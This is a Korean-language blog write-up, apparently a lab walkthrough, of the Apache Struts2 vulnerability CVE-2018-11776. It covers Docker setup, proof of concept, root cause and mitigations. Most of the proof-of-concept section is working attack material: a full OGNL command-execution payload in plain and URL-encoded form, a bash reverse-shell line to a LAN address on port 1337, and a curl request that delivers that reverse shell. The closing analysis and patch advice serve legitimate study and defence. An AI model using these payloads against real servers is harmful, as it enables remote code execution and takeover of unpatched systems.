반응형
CVE-2018-11776
0. 취약한 환경 버전
Apache Struts2 2.3 ~ 2.3.34 , 2.5 ~ 2.5.16 버전
1. 환경 구성
- mac os
- docker
도커 이미지 다운로드
$ docker pull piesecurity/apache-struts2-cve-2017-5638
도커 컨테이너는 8080 포트, 호스트 시스템은 32771 포트를 사용
$ docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638
도커 내부 및 설정 파일 접근
$ docker exec -t -i struts2 /bin/bash
$ apt-get update
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
Struts.xml 에서 부분에 맵퍼 추가
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
Struts.xml 에서 부분에 리다이렉션 액션 추가
<action name="help">
<result type="redirectAction">
<param name="actionName">date.action</param>
</result>
</action>
컨테이너 재시작
$ exit
$ docker restart struts2
2. PoC
1. Apache Struts2 정상 동작 확인
2. curl을 통해 OGNL 표현식이 변환된 것을 확인
3. 삽입 될 페이로드
${(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
4. URL 인코딩한 페이로드
%24%7B%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29.%28%23cmd%3D%27id%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27c%27%2C%23cmd%7D%3A%7B%27bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D
5. curl을 통해 명령어 삽입하여 id값 추출
6. 리버스 쉘을 실행시키기 위한 명령어
bash -i >& /dev/tcp/192.168.1.2/1337 0>&1
7. curl을 통해 서버포트 강제오픈 (리버스쉘)
curl -v 'localhost:32771/%24%7B%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29.%28%23cmd%3D%27bash%20-i%20%3e%26%20/dev/tcp/192.168.0.6/1337%200%3e%261%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27c%27%2C%23cmd%7D%3A%7B%27bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D/help.action'
8. 리버스 쉘 획득 성공
3. 원인 분석
- alwaysSelectFullNamespace 플래그 설정이 Struts 구성에서 true 로 설정됨. (널리 사용되는 Struts Convention 플러그인을 사용하는 경우 기본 설정임)
- Struts 설정 파일은 선택적 namespace 속성을 지정하지 않거나 와일드카드 namespace(e.g. "/*")를 지정하는 <action ...> 태그가 포함되어 있음.
4. 대응 방안
1. Struts 2.3.35 버전 혹은 2.5.17 버전으로 업그레이드
패치된 코드를 보면 cleanupNamespaceName 메소드에 화이트리스트 기능을 추가하여 악의적인 코드를 OGNL 형식으로 주입되는걸 방치시킴.
2.지정된 네임스페이스 속성 추가: SpiderLabs/owasp-modsecurity-crs#1177
5. 참조
반응형